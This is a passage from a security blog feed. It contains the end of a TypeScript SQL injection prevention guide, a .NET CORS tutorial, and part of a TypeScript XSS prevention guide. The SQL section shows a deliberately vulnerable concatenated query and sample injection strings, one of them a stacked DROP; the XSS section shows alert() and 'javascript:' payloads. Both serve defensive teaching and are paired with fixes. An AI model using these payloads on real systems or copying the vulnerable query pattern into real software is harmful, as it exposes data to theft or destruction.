objectives&lt;/b&gt; of a SQL injection attack are to manipulate the data in the database, force the system to surrender its data, or both.  &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Since SQL injection attacks target the system database and, when successful, can provide full or partial access, the impact can be massive. Therefore, one could be excused for believing that these breaches are very complex and used only in sophisticated attacks. Yet most SQL injection attacks are, in fact, not particularly complex or rare.  &lt;/p&gt;&lt;p&gt;In fact, the opposite is true. &lt;/p&gt;&lt;h2&gt;SQL Injection Example&lt;/h2&gt;&lt;p&gt;To illustrate this point, let&amp;#39;s look at a typical implementation of a SQL injection attack targeting a system that allows user input. &lt;/p&gt;&lt;p&gt;Imagine that you have code in your model layer or database integration layer where you can retrieve user information by formatting the following SQL query command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;query = &amp;#39;SELECT * FROM Users WHERE Email = &amp;quot;&amp;#39; + USERNAME + &amp;#39;&amp;quot; AND Pass = &amp;quot;&amp;#39; + PASSWORD + &amp;#39;&amp;quot;;&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see, this simple (and very dangerous) query command searches through the Users table and retrieves the user with the matching credentials. &lt;/p&gt;&lt;p&gt;Any bad actor with some basic understanding of SQL could take advantage of the lack of validation on user inputs by inputting values that the developer did not foresee a valid user providing.  &lt;/p&gt;&lt;p&gt;For example, if you input something like the following to this query, the system will surrender all users in the table to the attacker: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot; or &amp;quot;&amp;quot;=&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It should now be clear that there is little complexity or sophistication in this attack. It lives and dies on simple input validation. However, this doesn&amp;#39;t mean SQL injection attacks can&amp;#39;t be complex or be part of a more robust and sophisticated attack. &lt;/p&gt;&lt;p&gt;If you want to read more about SQL injection, please check out our in-depth post &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt; where we go into more details about it. &lt;/p&gt;&lt;h2&gt;Common SQL Injection Attacks&lt;/h2&gt;&lt;p&gt;Excluding the &amp;#39; &amp;quot;&amp;quot;=&amp;quot;&amp;quot; &amp;#39; attacks that we explored earlier, a few more forms of injection attacks are widespread. They allow attackers to successfully target a vulnerable system with enough knowledge of the database structure and trial and error. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Always true (or &amp;#39; 1=1 &amp;#39;) attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SELECT * FROM Users WHERE UserId = 105 OR 1=1;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Query stacking attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SELECT * FROM products WHERE id = 10; DROP members--&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Data exfiltration (or query comment) attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SELECT * FROM health_records WHERE date = &amp;#39;22/04/1999&amp;#39;; -- &amp;#39; AND id = 33&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you want to learn more and see examples of these attacks, you can find them &lt;a href=&quot;https://www.w3schools.com/sql/sql_injection.asp&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Mitigating Measures Against SQL Injection&lt;/h2&gt;&lt;p&gt;Now that you have a basic understanding of how SQL injection attacks can take advantage of your system, let&amp;#39;s look at some simple preventive measures. &lt;/p&gt;&lt;p&gt;First, it&amp;#39;s necessary to address the user input validation implemented in your user-facing front-end code. This validation would be your first layer of defense against bad actors and serve as a responsive mechanism for users. &lt;/p&gt;&lt;p&gt;We need to make sure the values provided by the user are scoped and sanitized accordingly. That means that, for example, if an input field is intended to receive emails, it does not allow the user to submit the form with an invalid email —or no value at all.  &lt;/p&gt;&lt;p&gt;A simple implementation of this idea would look something like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Of course, we can expand this approach with input masks and responsive form styling. This serves to inform the user that the value provided is not valid, improving the user experience. &lt;/p&gt;&lt;p&gt;Second, we must implement input validation at the application level, where most of the business layer exists. This strategy could be as simple as revalidating and, when appropriate, sanitizing the user input before reaching the Model layer.  &lt;/p&gt;&lt;p&gt;Additionally, adding a third-party library like &amp;quot;node-mysql&amp;quot; provides a more robust layer of protection against these attacks. &lt;/p&gt;&lt;h2&gt;Database Layer&lt;/h2&gt;&lt;p&gt;Finally, once the issues at the top level are addressed, we can work on securing the database layer.  &lt;/p&gt;&lt;p&gt;All we need to do is implement what is known as query placeholders or name placeholders. These placeholders, indicated here with the ? symbol, tell the interfacing layer to automatically escape the input passed to it and validate its type and format so that it complies with the database structure.  &lt;/p&gt;&lt;p&gt;For example, if a string is given to a column expecting an integer, the query aborts, throwing an exception. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you had a method that retrieved sensitive information and passed the user input unvalidated. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code could lead to a lot of trouble.  &lt;/p&gt;&lt;p&gt;But addressing the issue is quite simple. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, the query instruction now uses the ? character as a placeholder to provide the parameters. This tells the query library to sanitize and validate the inputted value against injection. It is a subtle change, but it has a significant impact on the security of our code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;To Summarize: How to Prevent Typescript SQL Injection&lt;/h2&gt;&lt;p&gt;We explored SQL injection and included some examples, and we can summarize the best strategy this way: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement input validation and field masking at the View level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure that your Model layer properly uses placeholders. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid insecure packages that have access to the database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make use of application security monitoring features.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enforce security policies and best practices with your team.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Complying with proper SQL injection prevention practices is not complicated.  &lt;/p&gt;&lt;p&gt;Thanks to the robustness and battle-tested approaches and libraries at our disposal, we can provide a solid level of protection without much work. However, depending on the size and complexity of the codebase, your mileage might vary.  &lt;/p&gt;&lt;p&gt;Nevertheless, the time investment that this protection requires will pay dividends for years to come. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;div&gt;&lt;/div&gt;&lt;p&gt;When working with a front-end app that accesses a .NET API, you might face an error saying that access was blocked due to the CORS policy. Someone tells you that to make the error go away, you need to enable CORS. But what exactly is CORS? Why do you have to enable it? What are the implications of doing so?&lt;/p&gt;&lt;p&gt;These—and more—are the questions we&amp;#39;ll answer today. We&amp;#39;ll open the post with the fundamentals, defining CORS and explaining what problem it solves.&lt;/p&gt;&lt;p&gt;Then we&amp;#39;ll proceed to a practical .NET CORS example. I&amp;#39;ll walk you through setting up a super silly API, trying—and failing—to consume it using a React app, and then enabling CORS to solve the problem.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;p&gt;The post should work as just a piece of reading, but if you want to follow along with the guide, there are a few requirements:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;You must have the .NET 6.0 SDK installed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Some familiarity with C#/.NET is assumed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Also, you must have Node.js installed, though JavaScript/React knowledge isn&amp;#39;t necessarily required.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;I assume you&amp;#39;re comfortable working the command line, since we&amp;#39;ll be running some commands along the way.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Additionally, I&amp;#39;ll ask you to clone a repo on&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-with-github-actions/&quot;&gt; &lt;u&gt;GitHub&lt;/u&gt;&lt;/a&gt;. If you&amp;#39;re not comfortable with Git, though, you can download the project as a .zip file.&lt;/p&gt;&lt;p&gt;Finally, a caveat along the way. I&amp;#39;m currently on Windows while writing this tutorial, but I&amp;#39;ll do my best to ensure the commands work correctly for Linux as well. If you&amp;#39;re on OS X, you should be fine, though I make no guarantees since I don&amp;#39;t own a Mac.&lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s begin.&lt;/p&gt;&lt;h2&gt;.NET CORS Fundamentals&lt;/h2&gt;&lt;p&gt;The StackHawk blog&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt; &lt;u&gt;already features a quite comprehensive guide on CORS&lt;/u&gt;&lt;/a&gt;, and I highly recommend you read it, as it explores CORS in much more depth than I will in this post. Regardless, here&amp;#39;s a brief introduction to the topic.&lt;/p&gt;&lt;h3&gt;What Is CORS?&lt;/h3&gt;&lt;p&gt;CORS means &lt;i&gt;cross-origin resource sharing&lt;/i&gt;. You&amp;#39;ll see more in just a minute, but in a nutshell, CORS is a mechanism—an HTTP protocol, to be exact—that allows web applications to access resources hosted on different domains (or origins.)&lt;/p&gt;&lt;p&gt;But wouldn&amp;#39;t that be a security problem? Here comes the second part.&lt;/p&gt;&lt;h3&gt;Why Is CORS Needed?&lt;/h3&gt;&lt;p&gt;To understand why you&amp;#39;d need CORS, you have to understand this thing called &lt;i&gt;same-origin policy&lt;/i&gt;. Here&amp;#39;s how the&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt; &lt;u&gt;MDN Web Docs&lt;/u&gt;&lt;/a&gt; defines it:&lt;/p&gt;&lt;p&gt;The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.&lt;/p&gt;&lt;p&gt;In other words, the same-origin policy prevents a script from interacting with a resource from a different &lt;i&gt;origin&lt;/i&gt;. Two URLs have the same origin when the protocol, domain, and port (if available) all match. For instance, the following URLs share the same origin:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;https://www.stackhawk.com&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://www.stackhawk.com:443&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://www.stackhawk.com/why-stackhawk/&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The following URLs don&amp;#39;t all share the same origin; the first and the second don&amp;#39;t share the same protocol, and the second and third ones don&amp;#39;t share the same host name.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;http://www.stackhawk.com&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://www.stackhawk.com&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackhawk.com/why-stackhawk/&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The same-origin policy is critical for the web&amp;#39;s safety. It puts malicious scripts inside a &amp;quot;cage,&amp;quot; preventing them from interacting with unauthorized information.&lt;/p&gt;&lt;p&gt;However, there &lt;i&gt;are&lt;/i&gt; valid reasons to allow a script to talk to resources hosted on a different origin. A client accessing a back-end API is probably the most famous example. That&amp;#39;s where CORS comes in handy: it&amp;#39;s a mechanism to relax—albeit in a safe and controlled way—the restriction imposed by the same-origin policy.&lt;/p&gt;&lt;h2&gt;.NET CORS: The Hands-On Guide&lt;/h2&gt;&lt;p&gt;I hope you&amp;#39;re dying to roll up your sleeves and do some work, because that&amp;#39;s what we&amp;#39;ll do right now. Let&amp;#39;s dig in.&lt;/p&gt;&lt;h3&gt;Creating a Sample .NET API&lt;/h3&gt;&lt;p&gt;To demonstrate CORS in practice, you&amp;#39;ll need an application. Run the following commands to create a new .NET API.&lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir netcorsdemo
cd netcorsdemo
dotnet new webapi&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, you can run your newly created application with:&lt;/p&gt;&lt;p&gt;&lt;code&gt;dotnet run&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If everything went right, the API will be served at https://localhost:7246. Using a tool like Postman or cURL—or even your browser—send a GET request to https://localhost:7246/WeatherForecast. You should obtain the following result:&lt;/p&gt;&lt;p&gt;&lt;code&gt;[{&amp;quot;date&amp;quot;:&amp;quot;2022-01-16T10:00:43.9724527-03:00&amp;quot;,&amp;quot;temperatureC&amp;quot;:49,&amp;quot;temperatureF&amp;quot;:120,&amp;quot;summary&amp;quot;:&amp;quot;Warm&amp;quot;},{&amp;quot;date&amp;quot;:&amp;quot;2022-01-17T10:00:43.9724609-03:00&amp;quot;,&amp;quot;temperatureC&amp;quot;:-16,&amp;quot;temperatureF&amp;quot;:4,&amp;quot;summary&amp;quot;:&amp;quot;Warm&amp;quot;},{&amp;quot;date&amp;quot;:&amp;quot;2022-01-18T10:00:43.9724612-03:00&amp;quot;,&amp;quot;temperatureC&amp;quot;:-14,&amp;quot;temperatureF&amp;quot;:7,&amp;quot;summary&amp;quot;:&amp;quot;Scorching&amp;quot;},{&amp;quot;date&amp;quot;:&amp;quot;2022-01-19T10:00:43.9724613-03:00&amp;quot;,&amp;quot;temperatureC&amp;quot;:29,&amp;quot;temperatureF&amp;quot;:84,&amp;quot;summary&amp;quot;:&amp;quot;Chilly&amp;quot;},{&amp;quot;date&amp;quot;:&amp;quot;2022-01-20T10:00:43.9724615-03:00&amp;quot;,&amp;quot;temperatureC&amp;quot;:53,&amp;quot;temperatureF&amp;quot;:127,&amp;quot;summary&amp;quot;:&amp;quot;Chilly&amp;quot;}]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If your browser has an extension for formatting JSON, you might get a nice output like this:&lt;/p&gt;&lt;h3&gt;Obtaining the Sample Front-End App&lt;/h3&gt;&lt;p&gt;What you need now is a front-end app to consume the API. For that, go to&lt;a href=&quot;https://github.com/carlosschults/react-dotnet-cors&quot;&gt; &lt;u&gt;this GitHub repository&lt;/u&gt;&lt;/a&gt; and clone it using Git—alternatively, download the whole project as a .zip file and then extract it to a folder.&lt;/p&gt;&lt;h3&gt;Time to Run Everything&lt;/h3&gt;&lt;p&gt;Now that you have all pieces of the puzzle, let&amp;#39;s put them together. First, go to your terminal and make sure the API is running:&lt;/p&gt;&lt;p&gt;&lt;code&gt;dotnet run&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;On a new terminal window or tab, access the folder you just cloned or extracted. Run the following commands:&lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install
npm start&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
The first command installs the dependencies needed for the project to run. The second one starts a development server and serves the application. After running both commands, your default browser should open a new window pointing to http://localhost:3000. If for some reason that doesn&amp;#39;t happen, do it manually.&lt;/p&gt;&lt;p&gt;Anyway, after you try to serve the React app, you should see an error like this:&lt;/p&gt;&lt;p&gt;Access the developer tools of your browser and go to the Console view (if you use Chrome, press Control+Shift+J on Windows/Linux or Command+Option+J on Mac). You&amp;#39;ll see an error message like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Access to fetch at &amp;#39;https://localhost:7246/WeatherForecast&amp;#39; from origin &amp;#39;http://localhost:3000&amp;#39;
has been blocked by CORS policy:
No &amp;#39;Access-Control-Allow-Origin&amp;#39; header is present on the requested resource.
If an opaque response serves your needs, set the request&amp;#39;s mode to &amp;#39;no-cors&amp;#39;
to fetch the resource with CORS disabled.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s exactly the error message we wanted to get. Why does it happen? Well, the .NET API is being served at https://localhost:7246 and the React app at http://localhost:3000. The protocols are different, as are the port numbers. Thus, for CORS purposes, they&amp;#39;re considered different origins.&lt;/p&gt;&lt;h3&gt;Enable CORS and Fix The Problem&lt;/h3&gt;&lt;p&gt;As it turns out, enabling CORS in a .NET API is quite easy, as the platform comes with built-in features to support that. So, let&amp;#39;s do it.&lt;/p&gt;&lt;p&gt;Using your favorite text editor, go to the .NET project folder and open the &lt;b&gt;Program.cs&lt;/b&gt; file. If you haven&amp;#39;t used .NET 6 before now, you might find this file weird. It contains things that used to be stored in the &lt;b&gt;Startup.cs&lt;/b&gt; file. Well, .NET 6 got rid of the Startup file and merged its contents into &lt;b&gt;Program.cs&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;First, add this to the top of the file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var  policyName = &amp;quot;_myAllowSpecificOrigins&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, after the line that instantiates the builder variable, add this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code above defines our policies for CORS. It will allow requests from the origin http://localhost:3000, using the HTTP method GET, with any header.&lt;/p&gt;&lt;p&gt;Finally, let&amp;#39;s add the following line before &lt;b&gt;app.UseAuthorization&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.UseCors(policyName);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To clear any doubts, here&amp;#39;s what the complete file should look like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, run the API again and reload the front-end app. The result should look like this:&lt;/p&gt;&lt;h2&gt;.NET CORS: Leverage Resources, But Stay Safe&lt;/h2&gt;&lt;p&gt;Creating a modern web application often feels like gluing a lot of parts together. Sometimes, the parts don&amp;#39;t play together as nicely as you&amp;#39;d wish they did, and errors occur.&lt;/p&gt;&lt;p&gt;In the context of a modern web app consisting of a JavaScript front-end consuming a back-end API, CORS errors are common. They happen because of the &lt;i&gt;same-origin policy,&lt;/i&gt; a vital security mechanism for the web.&lt;/p&gt;&lt;p&gt;As you&amp;#39;ve seen, safely relaxing the restrictions imposed by this policy is useful, and that&amp;#39;s where enabling CORS comes in handy. Now you know how to enable CORS in your .NET API in a simple and easy way. However, that&amp;#39;s just the tip of the iceberg: we encourage you to learn more about CORS in the context of .NET and in general.&lt;/p&gt;&lt;p&gt;Happy learning, stay safe, and until next time!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Typescript XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/typescript-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;TypeScript has come a long way to become a part of the modern web development tech stack, be it front end or back end. Developers who transition to TypeScript almost never look back! However, even with a robust programming language under your belt, you could run into the most basic security caveats. &lt;/p&gt;&lt;p&gt;TypeScript strongly compliments modern front-end frameworks like React and Angular. However, it doesn&amp;#39;t automatically safeguard your code against DOM vulnerabilities. In fact, many times, developers don&amp;#39;t use TypeScript to its full potential, making their codebase vulnerable to DOM XSS attacks. Other times, they just don&amp;#39;t know what XSS is and fall prey to vicious attackers injecting their DOM with malicious JavaScripts. &lt;/p&gt;&lt;p&gt;So in this post, I&amp;#39;ll talk about what XSS is and how an XSS attack takes place. I&amp;#39;ll then show you how you can prevent XSS attacks in your TypeScript projects.&lt;/p&gt;&lt;h2&gt;What Is XSS?&lt;/h2&gt;&lt;p&gt;XSS stands for &amp;quot;cross-site scripting.&amp;quot; It&amp;#39;s a technique of injecting external JavaScript into a website. Most of our website&amp;#39;s logic, including animations and interactivity of a user, is owned by the JavaScript of our website. Even if you use TypeScript at runtime for building your React or Angular project, at the end of the day, all that TypeScript would be compiled down to JavaScript. &lt;/p&gt;&lt;p&gt;When your application leaves a void that allows an attacker to run some JavaScript that you didn&amp;#39;t authorize, your website is under an XSS attack. That void itself is an XSS vulnerability of your application. But what does an XSS vulnerability look like? And how can an XSS attack really happen? &lt;/p&gt;&lt;h2&gt;How Does an XSS Attack Happen?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s take a simple example of a website where you&amp;#39;re filling out a form. For brevity, I have a simple &lt;a href=&quot;https://codesandbox.io/s/xss-attack-example-edlqd?file=/src/index.js&quot;&gt;&lt;u&gt;CodeSandbox example&lt;/u&gt;&lt;/a&gt; that renders an input field and a Submit button on the page. This is how the page appears:&lt;/p&gt;&lt;p&gt;&lt;i&gt;What the page looks like.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;And here&amp;#39;s what its HTML looks like: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When a user writes in their name and presses the Submit button, we run a simple JavaScript function. This function captures the value in the input field. It then generates a greeting for the user right underneath it. So if you were to type out your name and hit Submit, this is what you&amp;#39;d get: &lt;/p&gt;&lt;p&gt;&lt;i&gt;An example of the greeting you&amp;#39;ll see.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, this might seem safe and sound, right? Let&amp;#39;s take a look at the JavaScript code that does all this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you look closely at where we&amp;#39;re manipulating the DOM, we&amp;#39;re appending some new HTML using the &lt;b&gt;append&lt;/b&gt; method on a DOM element. Does this sound safe to you?&lt;/p&gt;&lt;p&gt;Well, it isn&amp;#39;t! It&amp;#39;s a breeding ground for XSS vulnerabilities. All this JavaScript code is available to anyone via the browser, so I could just go ahead and modify that line to be like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  greetingBox.append(alert(&amp;quot;you are hacked! 🐱‍💻&amp;quot;));&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And now if anyone presses the Submit button, the alert function is executed: &lt;/p&gt;&lt;p&gt;&lt;i&gt;The alert you&amp;#39;d see.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s what an XSS attack is in a nutshell. If you&amp;#39;re curious and wish to know more about it, check out this &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;in-depth post&lt;/u&gt;&lt;/a&gt; that dives deeper into it. &lt;/p&gt;&lt;h2&gt;XSS Example in TypeScript&lt;/h2&gt;&lt;p&gt;The previous example was written in JavaScript, but its TypeScript counterpart wouldn&amp;#39;t be much different either. To demonstrate, let&amp;#39;s take the example of a React with TypeScript project where we can replicate the above scenario. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the &lt;a href=&quot;https://codesandbox.io/s/xss-with-typescript-and-react-buovm?file=/src/App.tsx&quot;&gt;&lt;u&gt;example&lt;/u&gt;&lt;/a&gt; for your reference. All we have is a simple React app with the following code in our &lt;b&gt;App.ts&lt;/b&gt; file: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you look at all our functions and DOM manipulations, we&amp;#39;re using full-on TypeScript instead of plain old JavaScript! However, the way we&amp;#39;re manipulating the DOM is still incorrect. It still exposes a DOM XSS vulnerability. That means just using TypeScript won&amp;#39;t help. &lt;/p&gt;&lt;p&gt;In the above codebase, let&amp;#39;s say that an attacker manages to inject a script and programmatically executes this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;...
    greetingBox?.append(alert(&amp;quot;you are hacked! 🐱‍💻&amp;quot;));
...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The XSS attack could very well be executed:&lt;/p&gt;&lt;p&gt;&lt;i&gt;The alert you&amp;#39;d see.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;But the solution to the above problem is simple: there&amp;#39;s some bad code that needs refactoring. Let&amp;#39;s look at it now. &lt;/p&gt;&lt;h2&gt;Prevent XSS in Your TypeScript Project&lt;/h2&gt;&lt;p&gt;In the vanilla JavaScript example, here&amp;#39;s the change you need to make. Instead of using the &lt;b&gt;append&lt;/b&gt; method to append some text to the DOM, use &lt;b&gt;textContent&lt;/b&gt; as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  greetingBox.textContent = `Hey ${name}! A very good morning to you`;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above would yield the same result. And if an attacker tries to add some JavaScript to it: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  greetingBox.textContent = `alert(&amp;#39;you are hacked!&amp;#39;)`;&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;The JavaScript will be rendered as a string on the HTML page instead of being executed: &lt;/p&gt;&lt;p&gt;&lt;i&gt;The text the attacker will see.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s go back to our React and TypeScript project. There&amp;#39;s a ton of bad code. We&amp;#39;re directly manipulating DOM without using &lt;b&gt;state&lt;/b&gt; and &lt;b&gt;ref&lt;/b&gt;, which could really come in handy here. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Instead of using the &lt;b&gt;append&lt;/b&gt; method, we simply set the value of the input field to be that of the state. We then use this state to output the value on the DOM. &lt;/p&gt;&lt;p&gt;If you want to learn more about how to prevent XSS attacks in React, head over to &lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;our guide&lt;/u&gt;&lt;/a&gt; on it. &lt;/p&gt;&lt;h2&gt;Unsanitized HTML Can Cause XSS Attacks&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve seen a way to work around DOM-based XSS vulnerabilities. But what about cases where you absolutely need to set HTML inside a container? For instance, you could have a rich text editor that would save the formatted text in the database. But when this text comes back, it comes along with its relevant HTML tags. &lt;/p&gt;&lt;p&gt;Or in other cases, your server could return hrefs of some dynamic link your TypeScript application needs to render. In that case as well, you&amp;#39;ll need to programmatically manipulate DOM. &lt;/p&gt;&lt;p&gt;For brevity, let&amp;#39;s consider a scenario where your back end returns the href of a link that your Angular + TypeScript application renders. Here&amp;#39;s the HTML part of the component: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In its &lt;b&gt;component.ts&lt;/b&gt; file, we can set the &lt;b&gt;href&lt;/b&gt; property of the &lt;b&gt;&amp;lt;a&amp;gt;&lt;/b&gt; tag. Here&amp;#39;s how: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you click on the above link, you should be redirected to google.com. But in this case, imagine the href coming from an API request. In that case, an attacker could easily manipulate the href of the URL to be this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  url: string = &amp;#39;javascript:alert(&amp;quot;you are hacked 🐱‍💻&amp;quot;)&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And now we&amp;#39;re back to square one! Our Angular + TypeScript application has an XSS vulnerability. So what do we do now? &lt;/p&gt;&lt;h2&gt;Sanitize HTML to Prevent XSS Attacks&lt;/h2&gt;&lt;p&gt;Well, we should sanitize our HTML! Angular provides us with a library called DomSanitizer as a part of its platform-browser module. We can import it in our&lt;b&gt; component.ts&lt;/b&gt; file like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { DomSanitizer } from &amp;quot;@angular/platform-browser&amp;quot;;&lt;/code&gt;
